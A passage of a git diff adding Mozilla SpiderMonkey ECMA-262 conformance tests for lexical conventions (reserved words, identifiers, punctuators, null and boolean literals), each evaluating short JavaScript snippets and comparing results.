+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var export = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var export = true", "error", eval("var export = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-4-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-4-n.js
new file mode 100644
index 000000000..5cea867e0
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-4-n.js
@@ -0,0 +1,68 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-4-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var actual = 'no error';
+var prefValue;
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+try
+{
+ eval("var super = true");
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+DESCRIPTION = "var super = true"
+ EXPECTED = "error";
+
+// force exception since this is a negative test
+if (actual == 'error')
+{
+ throw actual;
+}
+
+new TestCase( SECTION,
+ "var super = true",
+ "error",
+ actual );
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-5-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-5-n.js
new file mode 100644
index 000000000..7c27b51dc
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-5-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-5-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-5-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var catch = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var catch = true", "error", eval("var catch = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-6-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-6-n.js
new file mode 100644
index 000000000..00770ff42
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-6-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-6-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-6-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var default = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var default = true", "error", eval("var default = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-7-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-7-n.js
new file mode 100644
index 000000000..b6f1bc073
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-7-n.js
@@ -0,0 +1,69 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-7-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-7-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var actual = 'no error';
+var prefValue;
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+try
+{
+ eval("var extends = true");
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+DESCRIPTION = "var extends = true";
+EXPECTED = "error";
+
+// force exception since this is a negative test
+if (actual == 'error')
+{
+ throw actual;
+}
+
+new TestCase( SECTION,
+ "var extends = true",
+ "error",
+ actual);
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-8-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-8-n.js
new file mode 100644
index 000000000..f6d5f86b6
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-8-n.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-8-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var switch = true";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var switch = true", "error", eval("var switch = true") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.4.3-9-n.js b/js/src/tests/ecma/LexicalConventions/7.4.3-9-n.js
new file mode 100644
index 000000000..94bcdca68
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.4.3-9-n.js
@@ -0,0 +1,70 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.4.3-9-n.js
+ ECMA Section: 7.4.3
+
+ Description:
+ The following words are used as keywords in proposed extensions and are
+ therefore reserved to allow for the possibility of future adoption of
+ those extensions.
+
+ FutureReservedWord :: one of
+ case debugger export super
+ catch default extends switch
+ class do finally throw
+ const enum import try
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "7.4.3-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Future Reserved Words";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var actual = 'no error';
+var prefValue;
+
+DESCRIPTION = "var class = true";
+EXPECTED = "error";
+
+
+print("This test requires option javascript.options.strict enabled");
+
+if (!options().match(/strict/))
+{
+ options('strict');
+}
+if (!options().match(/werror/))
+{
+ options('werror');
+}
+
+try
+{
+ eval("var class = true");
+}
+catch(e)
+{
+ actual = 'error';
+}
+
+// force exception since this is a negative test
+if (actual == 'error')
+{
+ throw actual;
+}
+
+new TestCase( SECTION,
+ "var class = true",
+ "error",
+ actual );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-1.js b/js/src/tests/ecma/LexicalConventions/7.5-1.js
new file mode 100644
index 000000000..9888f17cd
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-1.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-1.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "var $123 = 5", 5, eval("var $123 = 5;$123") );
+new TestCase( SECTION, "var _123 = 5", 5, eval("var _123 = 5;_123") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-10-n.js b/js/src/tests/ecma/LexicalConventions/7.5-10-n.js
new file mode 100644
index 000000000..dca2cbfce
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-10-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-9-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 123=\"hi\"";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 123=\"hi\"", "error", eval("123 = \"hi\"; array[item] = 123;") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-2-n.js b/js/src/tests/ecma/LexicalConventions/7.5-2-n.js
new file mode 100644
index 000000000..3f9097511
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-2-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-2-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-2-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 0abc";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 0abc", "error", eval("var 0abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-3-n.js b/js/src/tests/ecma/LexicalConventions/7.5-3-n.js
new file mode 100644
index 000000000..f88cc7710
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-3-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-2.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-3-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 1abc";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 1abc", "error", eval("var 1abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-4-n.js b/js/src/tests/ecma/LexicalConventions/7.5-4-n.js
new file mode 100644
index 000000000..393a57afa
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-4-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-4-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-4-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 2abc";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 2abc", "error", eval("var 2abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-5-n.js b/js/src/tests/ecma/LexicalConventions/7.5-5-n.js
new file mode 100644
index 000000000..c04138b6e
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-5-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-5-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-5-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 3abc";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 3abc", "error", eval("var 3abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-6.js b/js/src/tests/ecma/LexicalConventions/7.5-6.js
new file mode 100644
index 000000000..cca79cc20
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-6.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-6.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "var _0abc = 5", 5, eval("var _0abc = 5; _0abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-7.js b/js/src/tests/ecma/LexicalConventions/7.5-7.js
new file mode 100644
index 000000000..3c6bf48ca
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-7.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-7.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-7";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "var $0abc = 5", 5, eval("var $0abc = 5; $0abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-8-n.js b/js/src/tests/ecma/LexicalConventions/7.5-8-n.js
new file mode 100644
index 000000000..efb30e9d9
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-8-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-8-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-8-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var @0abc = 5; @0abc";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var @0abc = 5; @0abc", "error", eval("var @0abc = 5; @0abc") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.5-9-n.js b/js/src/tests/ecma/LexicalConventions/7.5-9-n.js
new file mode 100644
index 000000000..9d6c01273
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.5-9-n.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.5-9-n.js
+ ECMA Section: 7.5 Identifiers
+ Description: Identifiers are of unlimited length
+ - can contain letters, a decimal digit, _, or $
+ - the first character cannot be a decimal digit
+ - identifiers are case sensitive
+
+ Author: christine@netscape.com
+ Date: 11 september 1997
+*/
+var SECTION = "7.5-9-n";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Identifiers";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+DESCRIPTION = "var 123=\"hi\"";
+EXPECTED = "error";
+
+new TestCase( SECTION, "var 123=\"hi\"", "error", eval("var 123 = \"hi\";array[item] = 123;") );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.6.js b/js/src/tests/ecma/LexicalConventions/7.6.js
new file mode 100644
index 000000000..b86ee9624
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.6.js
@@ -0,0 +1,279 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.6.js
+ ECMA Section: Punctuators
+ Description:
+
+ This tests verifies that all ECMA punctutors are recognized as a
+ token separator, but does not attempt to verify the functionality
+ of any punctuator.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "7.6";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Punctuators";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// ==
+new TestCase( SECTION,
+ "var c,d;c==d",
+ true,
+ eval("var c,d;c==d") );
+
+// =
+
+new TestCase( SECTION,
+ "var a=true;a",
+ true,
+ eval("var a=true;a") );
+
+// >
+new TestCase( SECTION,
+ "var a=true,b=false;a>b",
+ true,
+ eval("var a=true,b=false;a>b") );
+
+// <
+new TestCase( SECTION,
+ "var a=true,b=false;a<b",
+ false,
+ eval("var a=true,b=false;a<b") );
+
+// <=
+new TestCase( SECTION,
+ "var a=0xFFFF,b=0X0FFF;a<=b",
+ false,
+ eval("var a=0xFFFF,b=0X0FFF;a<=b") );
+
+// >=
+new TestCase( SECTION,
+ "var a=0xFFFF,b=0XFFFE;a>=b",
+ true,
+ eval("var a=0xFFFF,b=0XFFFE;a>=b") );
+
+// !=
+new TestCase( SECTION,
+ "var a=true,b=false;a!=b",
+ true,
+ eval("var a=true,b=false;a!=b") );
+
+new TestCase( SECTION,
+ "var a=false,b=false;a!=b",
+ false,
+ eval("var a=false,b=false;a!=b") );
+// ,
+new TestCase( SECTION,
+ "var a=true,b=false;a,b",
+ false,
+ eval("var a=true,b=false;a,b") );
+// !
+new TestCase( SECTION,
+ "var a=true,b=false;!a",
+ false,
+ eval("var a=true,b=false;!a") );
+
+// ~
+new TestCase( SECTION,
+ "var a=true;~a",
+ -2,
+ eval("var a=true;~a") );
+// ?
+new TestCase( SECTION,
+ "var a=true; (a ? 'PASS' : '')",
+ "PASS",
+ eval("var a=true; (a ? 'PASS' : '')") );
+
+// :
+
+new TestCase( SECTION,
+ "var a=false; (a ? 'FAIL' : 'PASS')",
+ "PASS",
+ eval("var a=false; (a ? 'FAIL' : 'PASS')") );
+// .
+
+new TestCase( SECTION,
+ "var a=Number;a.NaN",
+ NaN,
+ eval("var a=Number;a.NaN") );
+
+// &&
+new TestCase( SECTION,
+ "var a=true,b=true;if(a&&b)'PASS';else'FAIL'",
+ "PASS",
+ eval("var a=true,b=true;if(a&&b)'PASS';else'FAIL'") );
+
+// ||
+new TestCase( SECTION,
+ "var a=false,b=false;if(a||b)'FAIL';else'PASS'",
+ "PASS",
+ eval("var a=false,b=false;if(a||b)'FAIL';else'PASS'") );
+// ++
+new TestCase( SECTION,
+ "var a=false,b=false;++a",
+ 1,
+ eval("var a=false,b=false;++a") );
+// --
+new TestCase( SECTION,
+ "var a=true,b=false--a",
+ 0,
+ eval("var a=true,b=false;--a") );
+// +
+
+new TestCase( SECTION,
+ "var a=true,b=true;a+b",
+ 2,
+ eval("var a=true,b=true;a+b") );
+// -
+new TestCase( SECTION,
+ "var a=true,b=true;a-b",
+ 0,
+ eval("var a=true,b=true;a-b") );
+// *
+new TestCase( SECTION,
+ "var a=true,b=true;a*b",
+ 1,
+ eval("var a=true,b=true;a*b") );
+// /
+new TestCase( SECTION,
+ "var a=true,b=true;a/b",
+ 1,
+ eval("var a=true,b=true;a/b") );
+// &
+new TestCase( SECTION,
+ "var a=3,b=2;a&b",
+ 2,
+ eval("var a=3,b=2;a&b") );
+// |
+new TestCase( SECTION,
+ "var a=4,b=3;a|b",
+ 7,
+ eval("var a=4,b=3;a|b") );
+
+// |
+new TestCase( SECTION,
+ "var a=4,b=3;a^b",
+ 7,
+ eval("var a=4,b=3;a^b") );
+
+// %
+new TestCase( SECTION,
+ "var a=4,b=3;a|b",
+ 1,
+ eval("var a=4,b=3;a%b") );
+
+// <<
+new TestCase( SECTION,
+ "var a=4,b=3;a<<b",
+ 32,
+ eval("var a=4,b=3;a<<b") );
+
+// >>
+new TestCase( SECTION,
+ "var a=4,b=1;a>>b",
+ 2,
+ eval("var a=4,b=1;a>>b") );
+
+// >>>
+new TestCase( SECTION,
+ "var a=1,b=1;a>>>b",
+ 0,
+ eval("var a=1,b=1;a>>>b") );
+// +=
+new TestCase( SECTION,
+ "var a=4,b=3;a+=b;a",
+ 7,
+ eval("var a=4,b=3;a+=b;a") );
+
+// -=
+new TestCase( SECTION,
+ "var a=4,b=3;a-=b;a",
+ 1,
+ eval("var a=4,b=3;a-=b;a") );
+// *=
+new TestCase( SECTION,
+ "var a=4,b=3;a*=b;a",
+ 12,
+ eval("var a=4,b=3;a*=b;a") );
+// +=
+new TestCase( SECTION,
+ "var a=4,b=3;a+=b;a",
+ 7,
+ eval("var a=4,b=3;a+=b;a") );
+// /=
+new TestCase( SECTION,
+ "var a=12,b=3;a/=b;a",
+ 4,
+ eval("var a=12,b=3;a/=b;a") );
+
+// &=
+new TestCase( SECTION,
+ "var a=4,b=5;a&=b;a",
+ 4,
+ eval("var a=4,b=5;a&=b;a") );
+
+// |=
+new TestCase( SECTION,
+ "var a=4,b=5;a&=b;a",
+ 5,
+ eval("var a=4,b=5;a|=b;a") );
+// ^=
+new TestCase( SECTION,
+ "var a=4,b=5;a^=b;a",
+ 1,
+ eval("var a=4,b=5;a^=b;a") );
+// %=
+new TestCase( SECTION,
+ "var a=12,b=5;a%=b;a",
+ 2,
+ eval("var a=12,b=5;a%=b;a") );
+// <<=
+new TestCase( SECTION,
+ "var a=4,b=3;a<<=b;a",
+ 32,
+ eval("var a=4,b=3;a<<=b;a") );
+
+// >>
+new TestCase( SECTION,
+ "var a=4,b=1;a>>=b;a",
+ 2,
+ eval("var a=4,b=1;a>>=b;a") );
+
+// >>>
+new TestCase( SECTION,
+ "var a=1,b=1;a>>>=b;a",
+ 0,
+ eval("var a=1,b=1;a>>>=b;a") );
+
+// ()
+new TestCase( SECTION,
+ "var a=4,b=3;(a)",
+ 4,
+ eval("var a=4,b=3;(a)") );
+// {}
+new TestCase( SECTION,
+ "var a=4,b=3;{b}",
+ 3,
+ eval("var a=4,b=3;{b}") );
+
+// []
+new TestCase( SECTION,
+ "var a=new Array('hi');a[0]",
+ "hi",
+ eval("var a=new Array('hi');a[0]") );
+// []
+new TestCase( SECTION,
+ ";",
+ void 0,
+ eval(";") );
+test();
+
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.1.js b/js/src/tests/ecma/LexicalConventions/7.7.1.js
new file mode 100644
index 000000000..c50a37873
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.1.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.1.js
+ ECMA Section: 7.7.1 Null Literals
+
+ Description: NullLiteral::
+ null
+
+
+ The value of the null literal null is the sole value
+ of the Null type, namely null.
+
+ Author: christine@netscape.com
+ Date: 21 october 1997
+*/
+var SECTION = "7.7.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Null Literals";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "null", null, null);
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.2.js b/js/src/tests/ecma/LexicalConventions/7.7.2.js
new file mode 100644
index 000000000..77ebdea60
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.2.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 7.7.2.js
+ ECMA Section: 7.7.2 Boolean Literals
+
+ Description: BooleanLiteral::
+ true
+ false
+
+ The value of the Boolean literal true is a value of the
+ Boolean type, namely true.
+
+ The value of the Boolean literal false is a value of the
+ Boolean type, namely false.
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var SECTION = "7.7.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Boolean Literals";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// StringLiteral:: "" and ''
+
+new TestCase( SECTION, "true", Boolean(true), true );
+new TestCase( SECTION, "false", Boolean(false), false );
+
+test();
diff --git a/js/src/tests/ecma/LexicalConventions/7.7.3-1.js b/js/src/tests/ecma/LexicalConventions/7.7.3-1.js
new file mode 100644
index 000000000..e5bc48e10
--- /dev/null
+++ b/js/src/tests/ecma/LexicalConventions/7.7.3-1.js
@@ -0,0 +1,164 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
